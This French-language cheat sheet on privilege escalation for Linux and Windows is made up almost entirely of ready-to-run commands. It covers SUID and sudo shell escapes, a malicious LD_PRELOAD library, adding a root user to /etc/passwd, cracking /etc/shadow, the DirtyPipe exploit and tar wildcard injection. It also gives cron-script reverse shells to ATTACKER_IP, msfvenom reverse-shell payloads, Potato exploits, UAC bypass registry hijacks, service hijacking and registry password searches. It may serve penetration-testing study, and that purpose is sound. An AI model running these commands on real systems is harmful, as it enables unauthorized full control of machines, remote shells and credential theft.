Escalade de Privileges

# Rechercher tous les fichiers SUID
find / -perm -4000 -type f 2>/dev/null

# Rechercher les fichiers SGID
find / -perm -2000 -type f 2>/dev/null

# Les deux en meme temps
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

# Resultat typique :
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/find          ← SUID sur find = escalade facile !
/usr/bin/vim           ← SUID sur vim = escalade facile !
/usr/bin/python3       ← SUID sur python = game over
/usr/local/bin/backup  ← binaire custom suspect

# find avec SUID → shell root
find . -exec /bin/bash -p \;

# python3 avec SUID → shell root
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# vim avec SUID → shell root
vim -c ':!/bin/bash'

# nmap (anciennes versions) avec SUID
nmap --interactive
!sh

# bash avec SUID → shell root
bash -p

# cp avec SUID → ecraser /etc/passwd
# 1. Generer un hash de mot de passe
openssl passwd -1 -salt hack P@ssw0rd
# $1$hack$WnXQ7S.3p4qG6FJK0fPow/
# 2. Creer un fichier passwd modifie avec un utilisateur root
echo 'hacker:$1$hack$WnXQ7S.3p4qG6FJK0fPow/:0:0:root:/root:/bin/bash' >> /tmp/passwd
# 3. Ecraser /etc/passwd
cp /tmp/passwd /etc/passwd
# 4. Se connecter
su hacker
# Password: P@ssw0rd → root !

# Lister les privileges sudo de l'utilisateur courant
sudo -l

# Resultat typique :
User www-data may run the following commands on webserver:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/env
    (root) NOPASSWD: /opt/scripts/backup.sh

# sudo find → shell root
sudo find /etc -exec /bin/bash \;

# sudo vim → shell root
sudo vim -c ':!/bin/bash'

# sudo env → shell root
sudo env /bin/bash

# sudo awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less → shell root
sudo less /etc/hosts
!/bin/bash

# sudo nmap → shell root
sudo nmap --interactive
!sh

# sudo python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo perl → shell root
sudo perl -e 'exec "/bin/bash";'

# 1. Creer la bibliotheque malveillante
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

# 2. Compiler
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 3. Executer avec sudo et LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# → shell root !

# Crontab systeme
cat /etc/crontab

# Crontab de l'utilisateur courant
crontab -l

# Repertoires cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

# Timers systemd (equivalent moderne)
systemctl list-timers --all

# Surveiller les processus pour detecter les crons
# (outil pspy — pas besoin de root)
./pspy64

# /etc/crontab contient :
# * * * * *  root  /opt/scripts/backup.sh

# Verifier les permissions
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root  ← Writable par tout le monde !

# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh

# Ou ajouter un utilisateur root
echo 'echo "hacker::0:0::/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh

# Attendre l'execution du cron (max 1 minute si * * * * *)

# /etc/crontab contient :
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
# * * * * *  root  backup

# Le script "backup" est appele SANS chemin absolu
# Le PATH inclut /home/user en premier !

# Creer un faux "backup" dans /home/user
echo '#!/bin/bash' > /home/user/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup
chmod +x /home/user/backup

# Attendre l'execution du cron
# Puis :
/tmp/rootbash -p
# → shell root !

# Verifier les permissions
ls -la /etc/passwd
# -rw-rw-rw- 1 root root  ← Writable !

# Generer un hash de mot de passe
openssl passwd -1 -salt xyz password123
# $1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1

# Ajouter un utilisateur root
echo 'hacker:$1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd

# Se connecter
su hacker
# Password: password123
# → root !

# Verifier les permissions
ls -la /etc/shadow
# -rw-r--r-- 1 root shadow  ← Lisible !

# Copier le contenu
cat /etc/shadow

# Cracker avec John the Ripper
unshadow /etc/passwd /etc/shadow > crackme.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt

# Ou avec Hashcat
hashcat -m 1800 shadow_hashes.txt rockyou.txt

# Lister toutes les capabilities
getcap -r / 2>/dev/null

# Resultat typique :
/usr/bin/python3.10 cap_setuid=ep       ← DANGER !
/usr/bin/ping cap_net_raw=ep            ← Normal
/usr/bin/perl cap_setuid=ep             ← DANGER !
/usr/sbin/tcpdump cap_net_raw=ep        ← Normal

# Exploitation python3 avec cap_setuid
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → root !

# Exploitation perl avec cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# → root !

# Exploitation ruby avec cap_setuid
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# → root !

# Verifier la version du kernel
uname -r
# 5.13.0-40-generic  ← Vulnerable !

# Compiler l'exploit
gcc -o dirty_pipe exploit.c
./dirty_pipe /etc/passwd 1 "${openssl_hash}"

# Avec linux-exploit-suggester
./linux-exploit-suggester.sh
# [+] CVE-2022-0847 (DirtyPipe)
#     Details: https://dirtypipe.cm4all.com/
#     Exposure: highly probable
#     Tags: ubuntu=20.04,ubuntu=21.04
#     Download URL: https://haxx.in/files/dirtypipez.c

# Un cron job root execute :
# cd /home/user && tar czf /backup/archive.tar.gz *

# Le wildcard (*) va interpreter les noms de fichiers comme des options !

# Creer les fichiers "malveillants"
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/shell.sh
echo "" > "/home/user/--checkpoint=1"
echo "" > "/home/user/--checkpoint-action=exec=bash shell.sh"

# Quand tar s'execute avec *, il verra :
# tar czf /backup/archive.tar.gz --checkpoint=1 --checkpoint-action=exec=bash shell.sh ...
# → Execute shell.sh en tant que root !

# Si un script root execute : chmod 777 *
# ou : chown user:user *

# Creer un fichier reference symbolique
ln -s /etc/shadow /home/user/shadow_link
echo "" > "/home/user/--reference=shadow_link"

# chown avec --reference va donner les memes permissions
# que le fichier reference

:: Lister les services avec chemins non quotes
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: Avec PowerShell
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notlike "C:\Windows\*" -and
    $_.PathName -notlike '"*' -and
    $_.PathName -like '* *'
} | Select-Object Name, PathName, StartMode

:: Resultat :
:: VulnService  C:\Program Files\Vuln App\Service\vuln.exe  Auto

:: Le chemin est : C:\Program Files\Vuln App\Service\vuln.exe
:: Windows va essayer dans l'ordre :
::   1. C:\Program.exe
::   2. C:\Program Files\Vuln.exe          ← ICI !
::   3. C:\Program Files\Vuln App\Service\vuln.exe

:: Verifier les permissions d'ecriture
icacls "C:\Program Files\Vuln App\"
:: Si BUILTIN\Users:(W) → on peut ecrire !

:: Placer notre payload
:: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o Vuln.exe
copy Vuln.exe "C:\Program Files\Vuln App\Vuln.exe"

:: Redemarrer le service (si on a le droit)
sc stop VulnService
sc start VulnService
:: → Reverse shell en tant que SYSTEM !

:: Verifier les permissions
icacls "C:\Program Files\VulnService\service.exe"
:: BUILTIN\Users:(F)  ← Full control !

:: Sauvegarder l'original
copy "C:\Program Files\VulnService\service.exe" service.bak

:: Remplacer par un payload
copy payload.exe "C:\Program Files\VulnService\service.exe"

:: Redemarrer le service
sc stop VulnService
sc start VulnService

:: Verifier les cles de registre
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Les DEUX doivent etre a 1

:: Generer un MSI malveillant avec MSFVenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi

:: Installer le MSI (s'execute en SYSTEM)
msiexec /quiet /qn /i evil.msi
:: → Reverse shell en tant que SYSTEM !

:: Verifier les privileges
whoami /priv
:: SeImpersonatePrivilege  Enabled  ← BINGO !

:: PrintSpoofer (simple et efficace)
.\PrintSpoofer64.exe -i -c cmd
:: → cmd en tant que SYSTEM

:: JuicyPotato
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tmp\reverse.exe" -t *

:: GodPotato (le plus universel)
.\GodPotato.exe -cmd "cmd /c whoami"
:: NT AUTHORITY\SYSTEM

.\GodPotato.exe -cmd "cmd /c c:\tmp\reverse.exe"
:: → Reverse shell SYSTEM

:: Windows cherche les DLL dans cet ordre :
:: 1. Repertoire de l'application
:: 2. C:\Windows\System32
:: 3. C:\Windows\System
:: 4. C:\Windows
:: 5. Repertoire courant
:: 6. Repertoires dans le PATH

:: Trouver les DLL manquantes avec Process Monitor (ProcMon)
:: Filtrer : Result = NAME NOT FOUND, Path ends with .dll

:: Generer une DLL malveillante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o hijacked.dll

:: Placer la DLL dans le repertoire de l'application vulnerable
copy hijacked.dll "C:\Program Files\VulnApp\missing.dll"

:: Redemarrer l'application ou le service
:: → La DLL malveillante est chargee → reverse shell

:: Lister toutes les taches planifiees
schtasks /query /fo TABLE /nh

:: Details d'une tache specifique
schtasks /query /tn "Backup" /fo LIST /v

:: Chercher les taches avec des scripts modifiables
:: Verifier les permissions du script execute
icacls "C:\Scripts\backup.bat"
:: BUILTIN\Users:(F)  ← Full control !

:: Modifier le script
echo c:\tmp\reverse.exe >> "C:\Scripts\backup.bat"

:: Attendre l'execution de la tache planifiee

:: Avec PowerShell
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
    Format-Table TaskName, TaskPath, State

:: fodhelper.exe est un binaire Microsoft signe qui auto-eleve sans prompt UAC
:: Il lit une cle de registre que l'utilisateur peut modifier

:: 1. Creer la cle de registre
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

:: 2. Lancer fodhelper.exe
fodhelper.exe
:: → cmd.exe s'execute en tant qu'administrateur eleve !

:: 3. Nettoyer
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f

:: eventvwr.exe lit aussi des cles de registre modifiables par l'utilisateur

reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

eventvwr.exe
:: → Execution elevee

reg delete HKCU\Software\Classes\mscfile\Shell\Open\command /f

:: Chercher les cles AutoRun
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

:: Verifier les permissions de la cle de service
:: Si on peut modifier le chemin ImagePath d'un service...
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath

:: Modifier le chemin du binaire du service
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d "C:\tmp\reverse.exe" /f

:: Redemarrer le service
sc stop VulnService
sc start VulnService

:: Stored credentials dans le registre
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Credentials Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword"